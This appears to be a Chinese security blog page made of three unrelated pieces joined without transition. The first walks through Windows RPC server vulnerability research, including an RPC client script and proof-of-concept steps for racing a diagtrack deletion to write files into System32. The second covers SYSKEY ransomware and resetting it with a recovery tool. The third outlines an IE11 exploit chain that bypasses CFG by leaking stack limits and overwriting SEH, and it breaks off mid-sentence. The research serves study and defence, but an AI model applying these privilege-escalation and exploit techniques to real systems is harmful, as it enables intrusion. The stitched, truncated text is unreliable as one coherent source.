2018年8月底,一名自称“沙盒逃脱者”(SandboxEscaper)的女性研究人员发布了一个Windows本地权限升级0 day漏洞。另外,还附上一个概念性验证攻击程序,允许黑客读取系统中未经授权的区域,不过目前她的GitHub帐号已被封了。这是因为从该漏洞被公开发布到攻击者使用这一漏洞进行攻击,不到两周的时间,这让网络安全机构根本来不及应对。

安全研究人员相信,了解这种漏洞攻击的运行原理将极大的帮助他们找到类似SandboxEscaper在Windows任务计划程序(Windows Task Scheduler)中发现的漏洞。在这篇文章中,我们将讨论通过SandboxEscaper通过滥用RPC服务器上的符号链接来发现权限升级漏洞的方法。

继今年8月及10月之后, SandboxEscaper在12月又第三次公开披露了Windows的0 day漏洞了,尽管前两次都招致批评,且本月她还收到Google的警告通知,指出她已被FBI盯上,但SandboxEscaper似乎不为所动,依然不理会安全社群的“责任披露”原则,持续直接对外公开披露安全漏洞。

原来,Windows任务计划程序在其通过RPC服务器公开的远程过程调用(RPC)应用程序编程接口(API)中存在漏洞。事实上,大多数RPC服务器由运行本地系统权限的系统进程托管,并且允许具有较低权限的RPC客户端与它们交互。与其他软件一样,这些RPC服务器可能容易受到拒绝服务、内存损坏和逻辑漏洞等软件漏洞的影响。换句话说,攻击者可以利用RPC服务器中可能存在的任何漏洞发起攻击。

0 day漏洞如此迅速流行的原因之一是潜在的漏洞非常容易被利用,它是由程序逻辑漏洞引起的,只要使用正确的工具和技术,程序逻辑漏洞就很容易被发现。这种特殊类型的权限升级漏洞通常使用伪符号链接来升级文件或文件夹,进而导致普通用户的权限升级。对于感兴趣的人,网上有有大量关于符号链接攻击的资源。

如何在动态条件和静态条件下发现RPC服务器的漏洞

对于研究人员来说,在进行一个新的研究主题时,都会查看一下是否有可用的开源工具。幸运的是,Microsoft RPC是一个众所周知的协议,在过去的几十年中,研究人员对它进行了很好的逆向工程。比如,研究人员已经开源了一个名为RpcView的工具,它是识别运行在Windows操作系统上的RPC服务的一个非常方便的工具。这绝对是我最喜欢的RPC工具之一,具有许多高效实用的功能,例如搜索RPC接口通用惟一标识符(UUID)、RPC接口名称等。

但是,我们本文的目的不是将所有RPC信息反编译并导出到文本文件中。幸运的是,在阅读源代码时,我们发现其中已经包含了我们需要的功能,但是默认情况下它不会被启用,只能在调试模式下使用特定的命令行参数被触发。由于此限制,我们在启用该功能时,会将现有的DecompileAllInterfaces函数调整为RpcView GUI。如果你对使用这个功能感兴趣,可以在Github存储库中使用我们自定义的RpcView工具。我们现在可以在下一节中讨论“反编译所有接口” 功能的好处时,详细谈到。

1.gif

RpcView会反编译所有接口

在分析RPC服务器的行为时,我们总是通过RPC接口调用API。通过RPC客户端向服务器发送RPC请求,然后使用SysInternals中的Process Monitor工具观察其行为,进而实现与感兴趣的RPC服务器的这种交互。在我看来,最方便的方法是通过脚本而不是重新编写需要程序编译的C / C ++ RPC客户端,编写很费时间。

本文,我们将使用的是PythonForWindows工具。它以Python化的方式提供了一些Windows功能的抽象,这在很大程度上依赖于Python的ctypes 模块。它还包含一个RPC库,该库提供了一些方便的包装函数,节省了我们编写RPC客户端时的时间。例如,典型的RPC客户端二进制文件需要定义接口定义语言,你需要手动实现绑定操作,这通常涉及一些c++代码,具体的请参见下面的代码段1和代码段2,它们演示了如何使用最少的漏洞处理代码编写RPC客户端脚本和编程之间的差异。

import sys
import ctypes
import windows.rpc
import windows.generated_def as gdef
from windows.rpc import ndr
StorSvc_UUID = r"BE7F785E-0E3A-4AB7-91DE-7E46E443BE29"
class SvcSetStorageSettingsParameters(ndr.NdrParameters):
MEMBERS = [ndr.NdrShort, ndr.NdrLong, ndr.NdrShort, ndr.NdrLong]
def SvcSetStorageSettings():
print "[+] Connecting...."
client = windows.rpc.find_alpc_endpoint_and_connect(StorSvc_UUID, (0,0))
print "[+] Binding...."
iid = client.bind(StorSvc_UUID, (0,0))
params = SvcSetStorageSettingsParameters.pack([0, 1, 2, 0x77])
print "[+] Calling SvcSetStorageSettings"
result = client.call(iid, 0xb, params)
if len(str(result)) > 0:
print " [*] Call executed successfully!"
stream = ndr.NdrStream(result)
res = ndr.NdrLong.unpack(stream)
if res == 0:
print " [*] Success"
else:
print " [*] Failed"
if __name__ == "__main__":
SvcSetStorageSettings()

代码段1:使用PythonForWindows RPC客户端的SvcSetStorageSettings

RPC_STATUS CreateBindingHandle(RPC_BINDING_HANDLE *binding_handle)
{
RPC_STATUS status;
RPC_BINDING_HANDLE v5;
RPC_SECURITY_QOS SecurityQOS = {};
RPC_WSTR StringBinding = nullptr;
RPC_BINDING_HANDLE Binding;
StringBinding = 0;
Binding = 0;
status = RpcStringBindingComposeW(L"BE7F785E-0E3A-4AB7-91DE-7E46E443BE29", L"ncalrpc", nullptr, nullptr, nullptr, &StringBinding);
if (status == RPC_S_OK)
{
status = RpcBindingFromStringBindingW(StringBinding, &Binding);
RpcStringFreeW(&StringBinding);
if (!status)
{
SecurityQOS.Version = 1;
SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
status = RpcBindingSetAuthInfoExW(Binding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
if (!status)
{
v5 = Binding;
Binding = 0;
*binding_handle = v5;
}
}
}
if (Binding)
RpcBindingFree(&Binding);
return status;
}
VOID RpcSetStorageSettings()
{
RPC_BINDING_HANDLE handle;
RPC_STATUS status = CreateBindingHandle(&handle);
if (status != RPC_S_OK)
{
_tprintf(TEXT("[-] Error creating handle %d\n"), status);
return;
}
RpcTryExcept
{
if (!SUCCEEDED(SvcSetStorageSettings(0, 1, 2, 0x77))
{
_tprintf(TEXT("[-] Error calling RPC API\n"));
return;
}
}
RpcExcept(1)
{
RpcStringFree(&instanceid);
}
RpcEndExcept
}

代码段2:使用c++ RPC客户端的SvcSetStorageSettings

RPC客户端成功地执行了相应的RPC API之后,我们使用Process Monitor来监控其活动。流程监控器在动态分析中非常有用,因为它提供了基于事件的API运行时信息。Process Monitor是一款拥有功能强大的监控和过滤的高级WindowsProcess Monitor 工具,可实时显示文件系统、注册表、进程或线程的活动。它结合了两个 Sysinternals 的旧版工具 Filemon 和 Regmon 的功能,并添加了一个包含丰富的和非破坏性的广泛增强过滤功能列表,全面的事件属性(例如会话 ID 和用户名称),可靠的进程信息,每个操作的完整线程、堆栈与集成符号支持,同时记录到一个文件中,以及更多。如图2所示,它使你能够跟踪事件的API调用。

4.png

Process Monitor API调用堆栈

例如,在通过IDA Pro这样的反汇编程序进行静态分析时,我们可以使用地址和路径信息精确地指出对应的模块和函数例程。这很有用,因为有时你可能无法仅使用Process Monitor的输出信息来发现潜在的符号链接攻击模式。这就是为什么通过反汇编程序进行静态分析,以帮助我们发现竞态条件漏洞,这些漏洞将在本系列博客的第二部分中详细讨论。

微软通用遥测客户端(Universal Telemetry Client,UTC)案例研究

你听说过微软正在Windows 10及以上版本上收集客户信息、数据和文件启动信息吗?你有没有想过其中的运行原理?如果你感兴趣,可以在这篇关于UTC 的优秀文章中详细了解到。

在开始分析之前,我们首先将所有RPC接口从RpcView GUI导出到文本文件。生成的文本文件包含可从RPC服务器调用的所有RPC API。然后,我们从输出文本文件中查找接受宽字符串作为输入的RPC API,直到发现来自diagtrack.dll的一个更有趣的RPC接口。稍后,我们会确认此DLL组件负责UTC的功能是否实现,这可以通过Microsoft Windows Diagnostic Tracking的名称判断,以下是RpcView GUI中具体的描述信息。

5.png

RpcView显示了UTC的DLL组件,其中一个RPC接口接受宽字符串作为输入

由于我们的目标是找到可能接受最终导致权限升级的输入文件路径的API,正如Windows任务计划程序漏洞所示的那样。但是仅这个漏洞就提供了16个可能的API,如图3所示。显然,我们需要过滤掉那些我们不感兴趣的API。因此,我们必须使用IDA Pro并从静态分析开始,找出应该深入研究的API。

我通常会首先找到RPC函数RpcServerRegisterIf,它通常用于在RPC服务器上注册接口规范。接口规范包含由特定RPC服务器托管的RPC接口的定义。根据MSDN的说明,接口规范位于函数的第一个参数中,该参数由RPC_SERVER_INTERFACE数据结构表示,其定义如下所示:

struct _RPC_SERVER_INTERFACE
{
unsigned int Length;
RPC_SYNTAX_IDENTIFIER InterfaceId;
RPC_SYNTAX_IDENTIFIER TransferSyntax;
PRPC_DISPATCH_TABLE DispatchTable;
unsigned int RpcProtseqEndpointCount;
PRPC_PROTSEQ_ENDPOINT RpcProtseqEndpoint;
void *DefaultManagerEpv;
const void *InterpreterInfo;
unsigned int Flags;
};

接口规范的InterpreterInfo是指向MIDL_SERVER_INFO数据结构的指针,该数据结构由DispatchTable指针组成,该指针保存特定RPC接口支持的接口API的信息,这些信息正是我们正在查找的内容。

typedef struct _MIDL_SERVER_INFO_
{
PMIDL_STUB_DESC pStubDesc;
const SERVER_ROUTINE* DispatchTable;
PFORMAT_STRING ProcString;
const unsigned short* FmtStringOffset;
const STUB_THUNK* ThunkTable;
PRPC_SYNTAX_IDENTIFIER pTransferSyntax;
ULONG_PTR nCount;
PMIDL_SYNTAX_INFO pSyntaxInfo;
} MIDL_SERVER_INFO, *PMIDL_SERVER_INFO;

下图是一个动图,说明了我们如何遍历导入地址表以确定IDA Pro中的DispatchTable。

8.gif

通过在IDA Pro中遍历IAT来确定RPC公开的API

在我们使用UtcAPI前缀确定UTC的接口API之后,如上图所示,我们会尝试确定这些接口API是否会导致访问控制列表(ACL) API,例如SetNamedSecurityInfo和SetSecurityInfo。之所以我们对这些ACL API感兴趣,是因为它们可以用于更改对象(无论是文件、目录还是注册表对象)的自主访问控制(DACL)安全描述符。IDA Pro中另一个可能未得到充分利用的有用功能是它的邻近视图(proximity view),它会显示一个函数例程的调用图,该函数例程将以图形的形式显示。我们可以使用邻近视图来查找前面提到的ACL API引用或调用的函数例程。

9.png

IDA的邻近视图,它显示了SetSecurityInfo和diag .dll中的函数例程之间的相关性

然而,当我们试图查找SetSecurityInfo和UtcAPI之间的相关性时,IDA Pro里并没有什么有价值的线索。进一步深入研究后,我们发现UtcAPI将客户端的RPC请求放置到将由异步线程处理的运行项队列中。如上图所示,当Microsoft::Diagnostic::EscalationWorkItem::Execute被触发时,SetSecurityInfo将会被执行。基本上,这是一个回调函数,负责执行RPC客户端提交的运行项中保存的升级请求。

此时,我们需要弄清楚如何提交升级请求。在试过各种应用程序之后,我们遇到了Microsoft Feedback Hub, Feedback Hub是微软在Windows 10系统上收集建议和反馈的官方应用,该应用除了用户表达关注、报告漏洞等,还充当了调试报告诊断信息的重要工具,在Windows 10上是默认安装的,是一个通用Windows平台(UWP)应用程序。有时候,你可能会发现调试UWP应用程序很有用。遗憾的是,你无法直接在WinDbg下打开或添加UWP应用程序,并期望它能神奇地运行。但是,你可以通过Windows 10 SDK中包含的窗口调试器(Window Debugger)附带的PLMDebug工具来启用UWP应用程序调试。我们可以先通过Powershell内置的cmdlet确定Feedback Hub的完整包系列名称:

PS C:\Users\researcher> Get-AppxPackage | Select-String -pattern "Feedback"
Microsoft.WindowsFeedbackHub_1.1809.2971.0_x86__8wekyb3d8bbwe
PS C:\Users\researcher> cd "c:\Program Files\Windows Kits\10\Debuggers\x86"
PS C:\Program Files\Windows Kits\10\Debuggers\x86>
PS C:\Program Files\Windows Kits\10\Debuggers\x86> .\plmdebug.exe /query 
Microsoft.WindowsFeedbackHub_1.1809.2971.0_x86__8wekyb3d8bbwe
Package full name is Microsoft.WindowsFeedbackHub_1.1809.2971.0_x86__8wekyb3d8bbwe.
Package state: Unknown
SUCCEEDED
PS C:\Program Files\Windows Kits\10\Debuggers\x86>

获得完整的包名称后,我们再次使用PLMDebug为Feedback Hub启用UWP调试。

c:\Program Files\Windows Kits\10\Debuggers\x86>plmdebug.exe /enabledebug Microsoft.WindowsFeedbackHub_1.1809.2971.0_x86__8wekyb3d8bbwe "c:\program files\windows kits\10\Debuggers\x86\windbg.exe"
Package full name is Microsoft.WindowsFeedbackHub_1.1809.2971.0_x86__8wekyb3d8bbwe.
Enable debug mode
SUCCEEDED

这样在下次启动Feedback Hub时,应用程序将自动执行并添加到WinDbg。

12.png

确定来自Process Monitor事件属性的API调用的偏移量

启动Feedback Hub后,我们将按照应用程序的屏幕说明进行操作,并开始在Process Monitor中查看活动。这是一个好兆头,因为它意味着我们正在走上正轨。当我们查看突出显示的SetSecurityFile事件的调用堆栈时,就可以在偏移量0x15A091处找到ACL API SetSecurityInfo的返回地址(diagtrack.dll的基地址可以在Event Properties的Process选项卡中找到)。如你所见,这个偏移位于Microsoft::Diagnostics::Utils::FileSystem::SetTokenAclOnFile例程中,该例程不但出现在上图中的反汇编程序,并且也出现在图5中所示的邻近视图中。这证明了我们可以使用Feedback Hub来找到我们想要的代码路径。

除此之外,我们通过查看Process Monitor的输出内容还会发现,这个事件会试图设置文件对象的DACL,但是通过执行代码静态分析来确定文件对象是如何生成的可能会非常耗时。幸运的是,我们可以将本地调试器添加到具有管理权限的UTC服务的svchost.exe程序,因为该进程不受Protected Process Light(PPL)机制的保护,我们就可以灵活地动态调试UTC服务,以了解如何检索文件路径。

在后台,所有的反馈回来的详细信息和附件将通过Feedback Hub提交后保存在格式为%DOCUMENTS%\ FeedbackHub \ <guid> \ diagtracktempdir <random_decimals>的临时文件夹中。添加到diagtracktempdir的随机十进制数是通过BCryptGenRandom API生成的,这意味着生成的十进制数是不可预测的。但是,进行符号链接攻击最重要的条件之一是能够预测文件或文件夹的名称,因此,随机diagtracktempdir名称增加了利用符号链接漏洞的难度。所以,我们再想其他办法去查找其他潜在的漏洞。

在我们试图弄清楚如何设置diagtracktempdir安全描述符时,却发现该文件夹使用的是显式安全描述符字符串O:BAD:P(A;OICI;GA;; BA)(A;OICI;GA;; SY)创建的,这意味着对象的DACL将仅授予管理员和本地系统用户访问权限。但是,如果相应地设置了以下注册表项,则将忽略显式安全描述符:

HKEY_LOCAL_MACHINE\Software\Microsoft\Diagnostics\DiagTaskTestHooks\Volatile
“NoForceCopyOutputDirAcl” = 1

简而言之,当上面的注册表项不存在时,diagtracktempdir将被强制使用显式的安全描述符,否则默认的DACL将应用于可能引发某些安全问题的文件夹,因为在文件夹创建过程中没有使用模拟令牌。不过,如果存在任意注册表写入漏洞,则可以将显式安全描述符绕过此文件夹。但这并不是我们的目的,所以我们最好的选择是再次调查Process Monitor。

13.png

设置DACL并重命名文件夹diagtracktempdir

基本上,我们可以将上图中标志的操作过程总结如下:

1.在本地系统权限下,授予对diagtracktempdir上当前登录用户的访问权限;

2.将diagtracktempdir重命名为模拟环境下的GUI样式的文件夹;

3.在模拟环境下撤消对diagtracktempdir上登录的当前用户的访问权限;

下面的代码段对应于上图所示的操作:

bQueryTokenSuccessful = UMgrQueryUserToken(hContext, v81, &hToken);
if ( hToken && hToken != -1 )
{
// This will GRANT access of the current logged in user to the directory in the specified handle
bResultCopyDir = Microsoft::Diagnostics::Utils::FileSystem::SetTokenAclOnFile(&hToken, hDir, Sid, GRANT_ACCESS)
if ( !ImpersonateLoggedOnUser(hToken) ) 
{
bResultCopyDir = 0x80070542;
}
}
// Rename diagtracktempdir to GUID-styled folder name
bResultCopyDir = Microsoft::Diagnostics::Utils::FileSystem::MoveFileByHandle(SecurityDescriptor, v65, Length);
if ( bResultCopyDir >= 0 )
{
boolRenamedSuccessful = 1;
// This will REVOKE access of the current logged in user to the directory in the specified handle
bSetAclSucessful = Microsoft::Diagnostics::Utils::FileSystem::SetTokenAclOnFile(&hToken, hDir, Sid, REVOKE_ACCESS) if (bSetAclSucessful)
{
// Cleanup and RevertToSelf
return;
}
}
else
{
lambda_efc665df8d0c0615e3786b44aaeabc48_::operator_RevertToSelf(&hTokenUser);
// Delete diagtracktempdir folder and its contents
lambda_8963aeee26028500c2a1af61363095b9_::operator_RecursiveDelete(&v83);
}

代码段3:先授予diagtracktempdir访问权限,然后撤销该访问权限

从代码段3中,我们可以判断文件重命名操作何时失败。如果bResultCopyDir的值小于0,它将继续调用RecursiveDelete函数。值得注意的是,在调用RecursiveDelete函数之前调用RevertToSelf函数来终止模拟,这意味着可以在本地系统权限下删除目标目录及其内容,如果我们设法使用一个符号链接将diagtracktempdir重定向到任意文件夹中,就能够实现任意文件删除。幸运的是,微软已经缓解了潜在的重解析点(reparse points)删除漏洞。此RecursiveDelete函数已显式跳过任何设置了FILE_ATTRIBUTE_REPARSE_POINT标志的目录或文件夹,该标志通常是为一个连接文件夹设置的,所以我们可以确认这个递归删除例程不会带来任何安全风险。

由于我们无法在此演示任意文件删除的过程,所以我们决定演示如何将任意文件写入diagtracktempdir目录。在查看代码时,我们意识到在递归删除例程完成后,UTC服务不会删除当前登录用户的diagtracktempdir的安全描述符。这是有意为之的,因为你不需要将新的DACL强加到将要删除的文件夹中,这是冗余的运行。但是,这也为攻击者提供了一个潜在的竞态条件机会,可以通过在同一个目录中创建具有独占文件句柄的文件来防止删除升级的diagtracktempdir。尝试使用独占文件句柄打开和删除文件时,RecursiveDelete函数遇到共享冲突,然后正常退出操作。毕竟,攻击者可以在受限制的目录中删除并执行升级的diagtracktetempdir中的文件,例如C:\WINDOWS\System32。

紧接着,我们会问文件重命名操作如何会失败?深入研究Microsoft::Diagnostics::Utils::FileSystem: MoveFileByHandle的底层实现,我们发现它本质上是一个调用SetFileInformationByHandle API的包装器函数。从这个API生成的底层内核函数似乎总是能够获得具有写入访问权限的父目录的文件句柄。例如,如果该句柄当前被引用到c:\blah\abc,它将尝试以c: blah的写入访问权限获取文件句柄。但是,如果我们删除一个当前登录用户的具有写入访问权限的目录,那么Microsoft::Diagnostics::Utils::FileSystem::MoveFileByHandle可能无法正确执行。以下文件路径就是一个很好的选择,因为它们是不允许为普通用户帐户创建文件夹的受限文件夹:

C:\WINDOWS\System32
C:\WINDOWS\tasks

由于某些升级请求会将一堆日志文件写入我们的受控diagtracktempdir并且它们将需要一些时间来删除,因此这个竞态条件不会有任何可以被利用的漏洞。因此,如果我们在目标目录中成功创建了一个独占文件句柄,那么在具有多个内核的现代系统中,竞态条件下的漏洞是不会发生的。

接下来,我们需要找到使用UtcAPI所需的正确参数以编程方式触发代码路径的方法。能够调试并设置RPC函数上的断点,Feedback Hub中的NdrClientCall确实使我们的运行更轻松。调试器会显示方案ID以及我们应该发送到UtcApi的升级路径。在本文的示例中,我们将使用方案ID {1881A45E-01FD-4452-ACE4-4A23666E66E3},因为它似乎总是在UtcAPI_EscalateScenarioAsync例程被触发时显示,并且它也会产生RPC服务器上所需的代码路径。请注意,升级路径还允许我们控制将创建diagtracktempdir的位置。

Breakpoint 0 hit
eax=0c2fe7b8 ebx=032ae620 ecx=0e8be030 edx=00000277 esi=0c2fe780 edi=0c2fe744
eip=66887154 esp=0c2fe728 ebp=0c2fe768 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
Helper+0x37154:
66887154 ff15a8f08866 call dword ptr [Helper!DllGetActivationFactory+0x6d31 (6688f0a8)] ds:0023:6688f0a8={RPCRT4!NdrClientCall4 (76a74940)}
0:027> dds esp l9
0c2fe728 66892398 Helper!DllGetActivationFactory+0xa021
0c2fe72c 66891dca Helper!DllGetActivationFactory+0x9a53
0c2fe730 0e8be030
0c2fe734 1881a45e // Scenario ID
0c2fe738 445201fd
0c2fe73c 234ae4ac
0c2fe740 e3666e66
0c2fe744 00000000
0c2fe748 032ae620 // Escalation path
0:027> du 032ae620
032ae620 "E:\researcher\Documents\Feedback"
032ae660 "Hub\{e04b7a09-02bd-42e8-a5a8-666"
032ae6a0 "b5102f5de}\{e04b7a09-02bd-42e8-a"
032ae6e0 "5a8-666b5102f5de}"
因此,utcAPI_escalatescenoasync的原型如下所示:
long UtcApi_EscalateScenarioAsync (
[in] GUID SecnarioID, 
[in] int16 unknown, 
[in] wchar_t* wszEscalationPath
[in] long unknown2, 
[in] long unknown3, 
[in] long num_of_keyval_pairs, 
[in] wchar_t **keys, 
[in] wchar_t **values)

综上所述,我们的概念证明(PoC)是这样的:

1.创建一个监控目标目录的无限线程,例如:C:\WINDOWS\ SYSTEM32, 以便捕获diagtracktempdir的文件夹名称;

2.创建另一个无限线程,它将在C:\WINDOWS\SYSTEM32\diagtracktempdir{random_decimal}\z中创建一个独占文件句柄;

3.调用UtcAPI_EscalateScenarioAsync(1881A45E-01FD-4452-ACE4-4A23666E66E3)来触发Microsoft::Diagnostic::EscalationWorkItem::Execute;

4.成功地创建C:\WINDOWS\SYSTEM32\ diagtracktempdir { random_decimal } \ z;

5.之后,攻击者可以将任意文件写入并在升级文件夹C:\WINDOWS\SYSTEM32\ diagtracktempdir { random_decimal }执行,以绕过一直认为%SYSTEM32%目录仅包含合法操作系统文件的合法程序;

PoC的结果演示了利用UTC服务在受限目录下的静态文件夹中创建任意文件和文件夹的可能方法。

17.png

PoC允许在diagtracktempdir中创建任意文件

重申一下,如果没有能够控制或重命名文件夹diagtracktempdir,这个PoC不会对Windows操作系统造成安全风险。然而,恶意软件的开发者会经常使用不同的技术(如用户帐户控制(UAC)绕过)来将文件写入Windows系统文件夹,以便绕过精巧的启发式扫描技术检测器。实际上,在探索PoC中使用的潜在文件路径时,我们发现C:\WINDOWS\SYSTEM32\Tasks包含普通用户账户的写入和执行权限。但是维度没有读取权限,这就是为什么这个文件夹也是恶意软件开发者用来存储恶意文件的一个目标路径。

总结

在本文,我们向你展示了如何使用不同的可用工具和在线资源在Windows RPC服务器中发现潜在的安全风险。我们还演示了对RPC服务器进行反向汇编所需的一些基本知识。我们坚信RPC服务器中还有其他潜在的安全漏洞。在下一篇文章中,我们将继续研究并改进强化Windows RPC服务器的方法,以便发现其他RPC服务器漏洞。

大约22年前,微软试图通过增加一层额外的保护来让Windows更加安全,该保护层就是,syskey实用程序。SAM Lock Tool通常称为SYSKEY(其可执行文件的名称),用于加密Windows安全帐户管理器(SAM)数据库的内容,加密使用的是128位RC4加密密钥。不过2017年7月24日,微软宣布,此功能将在九月发布的秋季创意者更新中删除。

SysKey实用程序可用于通过移动SAM数据库关闭基于Windows的计算机的加密密钥的另外保护SAM数据库。SysKey实用程序也可以用于配置,以便Windows可以访问SAM数据库解密系统密钥时必须输入的启动密码。

用户可以选择指定密码,以保护存储在SAM数据库中的Windows帐户的身份验证凭据。如果设置了SYSKEY密码,Windows将在启动期间要求你输入此密码,然后再显示登录名和密码提示。

虽然SYSKEY没有使用最强的加密算法,但是在没有首先解密SAM数据库的情况下,攻击(暴力破坏或重置)用户的Windows登录名和密码是不可能的。因此,在访问系统的Windows帐户之前,SYSKEY密码将要求攻击者强制或重置SYSKEY保护。更重要的是,未知的SYSKEY密码会阻止用户的系统完全启动。攻击者正式利用这一点,来开发出相应的勒索软件勒索用户的,近些年,你可以在很多所谓的 “技术支持”的攻击案例看到这一攻击,攻击者通过虚假的“技术支持”调用,让受害者无法使用自己的计算机。

由于SAM数据库会加密,重新安装或修复Windows都无法解决此问题,除非用户可以访问最近的备份或系统还原点。出于这个原因,Microsoft删除了在Windows 10(版本1709)和Windows Server 2016(版本1709)中设置SYSKEY密码的功能,从而迫使用户转向更加安全的BitLocker加密。但是,旧系统仍然容易受到SYSKEY勒索软件攻击。Windows BitLocker驱动器加密通过加密Windows操作系统卷上存储的所有数据可以更好的保护计算机中的数据。BitLocker使用TPM帮助保护Windows操作系统和用户数据,并帮助确保计算机即使在无人参与、丢失或被盗的情况下也不会被篡改。BitLocker还可以在没有TPM的情况下使用。若要在计算机上使用BitLocker而不使用TPM,则必须通过使用组策略更改BitLocker安装向导的默认行为,或通过使用脚本配置BitLocker。使用BitLocker而不使用TPM时,所需加密密钥存储在USB闪存驱动器中,必须提供该驱动器才能解锁存储在卷上的数据。

由于SYSKEY保护是个相当老旧的技术,因此它不再安全。SYSKEY勒索软件或“技术支持”诈骗者的受害者现在可以通过恢复或重置SYSKEY密码来恢复其系统,杜绝这类攻击。 Elcomsoft System Recovery工具能够发现或重置SYSKEY密码,以恢复系统的正常启动操作。这也是我们第一次发布Elcomsoft System Recovery用户界面的屏幕截图。

删除SYSKEY密码

SYSKEY加密是一个相对鲜为人知的功能,这也是被“技术支持”诈骗者和勒索软件主动利用该技术的原因。激活SYSTEM密码后,整个SAM注册表配置单元都会被加密。这使得Windows很难恢复到工作状态,特别是如果攻击者删除了所有系统还原点后,恢复过程就更麻烦了。受到攻击后,受害者在尝试启动计算机时会看到这样的消息:“此计算机配置为需要密码才能启动”。

Elcomsoft System Recovery可以尝试自动重置SYSKEY保护。由于直接删除SYSKEY密码可能会破坏Windows启动过程。因此,Elcomsoft System Recovery会执行许多安全检查,以确定重置特定系统的SYSKEY密码是否会导致问题。

注意,在接下来的章节中,我们会假定你已经创建了包含Elcomsoft System Recovery 5.40或更高版本的可启动工具。

要删除未知的SYSKEY密码,请执行以下7步:

1.使用Elcomsoft System Recovery工具将计算机启动到可启动的存储介质。根据计算机主板制造商的不同,你可能需要按Del,F8,F11,F12或其他键来调用一个特殊菜单以暂时覆盖启动顺序或进入UEFI / BIOS设置。

2.在Elcomsoft System Recovery中,指定安装Windows的磁盘或分区,然后单击“下一步”。

1.png

3.删除SYSKEY密码的功能位于Miscellaneous选项下:

2.png

4.选择SYSKEY:

3.png

5.选择ESR来自动搜索SAM数据库或是人工指定其位置:

4.png

6.该工具将执行必要的安全检查,并在检测到潜在问题时向你发出警告。要重置密码,请将“搜索…”选项留空,单击“重置SYSKEY”完成设置。

5.png

7.最后,重新启动计算机,Windows应该就可以正常启动。

如果发现潜在问题,你将看到以下警告。

6r.png

如果继续,你将无法访问DPAPI加密数据(EFS加密的文件和文件夹)。此外,我们建议你制作SAM,SYSTEM和SECURITY注册表配置单元的备份副本(必须手动完成)。

恢复SYSKEY密码

重置SYSKEY密码可能有效,也可能无效,具体取决于特定系统的配置。所以恢复SYSKEY密码是一项非常安全的操作,不会因简单的重置密码而产生错误影响。 Elcomsoft System Recovery可以自动检查你的计算机,以在整个系统中查找缓存的SYSKEY密码。该工具将分析各种注册表项,临时文件和数据库,以查找SYSKEY密码的缓存副本。如果成功,可以立即删除SYSKEY保护并且不会产生错误影响。

要查找SYSKEY密码,请执行以下4步操作:

1.使用Elcomsoft System Recovery将计算机启动到可启动的存储介质。根据计算机主板制造商的不同,你可能需要按Del,F8,F11,F12或其他键来调用特殊菜单以暂时覆盖启动顺序或进入UEFI / BIOS设置。

2.按照Elcomsoft System Recovery中的步骤2到步骤6进行操作,但是,这次你一定要确保选中“搜索SYSKEY纯文本密码”选项。

7.png

3.你可以选择快速扫描或彻底扫描,点击“恢复系统键”继续。该工具将尝试在你的计算机上找到SYSKEY密码。

8.png

4.记下发现的SYSKEY密码并重新启动计算机,在出现提示时输入发现的SYSKEY密码即可正常启动。

我们原来发布了一个基于泄漏堆栈地址并覆盖结构化异常处理程序的技术,从而将一个使用Use-After-Free(UAF)类型的漏洞转换为结构化异常处理的程序。

在本文中为了方便CFG的绕过,我们再次选择使用Internet Explorer 11的Microsoft Windows WPAD权限提升漏洞 (MS16-063),2016年6月,Theori曾发表了一篇关于MS16-063中修补了的IE漏洞分析 ,文中发布的漏洞攻击仅是针对Windows7上的IE 11版本,此外由于Windows 10采用了CFG机制所以无法对Windows 10设备进行攻击。

但我们之前已经发布过两篇文章讨论过如何绕过Windows 10环境下的CFG,第一篇请点击这里,另一篇请点击这里

堆栈的泄漏

在以前的文章中我们已经获得了Clean_Poc.html的POC文件,并利用MS16-063漏洞获得了序列化执行权限( read/write primitive),但没有再往下进一步分析。在Leaking_Stack.html的 POC文件中,当前线程的堆栈限制被泄露,这是使用kernelbase.dll中的GetCurrentThreadStackLimits API完成的,具体的执行方法是,GetCurrentThreadStackLimits API通过TypedArray对象调用虚拟函数表(vtable),具体的调用过程如下:

2.1.png

我们可以看出,调用发生在虚拟函数表中的偏移0x188处,因为虚拟函数表可以直接从Javascript代码调用并具有两个参数,这对调用非常重要,因为必须确保函数必须具有同等数量的参数,否则堆栈将在返回时引起调用异常。

我们在本文中使用的API是GetCurrentThreadStackLimits,它很容易从MSDN中获取可用的JavaScript调用,如下所示。

2.2.png

GetCurrentThreadStackLimits需要两个参数,并返回堆栈基地址和堆栈的最大保留地址,我们可以通过两个步骤找到GetCurrentThreadStackLimits的地址。

首先将指针泄漏到kernelbase.dll中,然后在DLL中对该函数进行定位。第一部分是通过首先定位jscript9中的Segment :: Initialize函数来完成的,因为它使用了kernel32!VirtualAllocStub及kernelbase!VirtualAlloc。我们是通过在虚拟函数表的地址中扫描jscript9并计算哈希值来找到这个方法的,这是使用序列化执行权限完成的,算法如下图所示。

2.3.png

通过添加5个双字,我们可以每次向前遍历一个字节,直到找到正确的哈希值。非常简单的哈希函数实际上是无冲突的。在Segment :: Initialize函数中的偏移量0x37处,kernel32!VirtualAlloc的解引用调用发生,如下所示。

2.4.png

通过这个指针可以获取以下内容:

2.5.png

然后在kernelbase!VirtualAlloc的偏移0x6处,内核发生跳转。

2.6.png

现在我们就获得了一个指向kernelbase.dll的指针了,然后我们使用与Segment :: Initialize相同的方法找到GetCurrentThreadStackLimits的地址,如下所示。

2.7.png

我们现在可以创建一个假的虚拟函数表,就像Theori在MS16-063中所做的那样,并用这个函数指针修改偏移量0x188处的的虚拟函数表条目,不过要记住增加TypedArray的size参数,然后代码变成。

2.8.png

并且在运行它时触发GetCurrentThreadStackLimits得出以下内容:

2.9.png

上图显示了堆栈的下限和上限,要从这里获取指令指针控件,我们就必须在堆栈中找到结构化的异常处理程序链,并修改一个条目,然后引发异常。在执行此操作时,请务必记住,由于Windows 10启用了SEHOP。因为SEH指针不受CFG保护,这些操作会绕过CFG和RFG,这一切都在文件Getting_Control.html中实现。

为了执行此操作,我们需要在堆栈上找到SEH链,泄漏堆栈限制的结构化异常处理程序链如下所示。

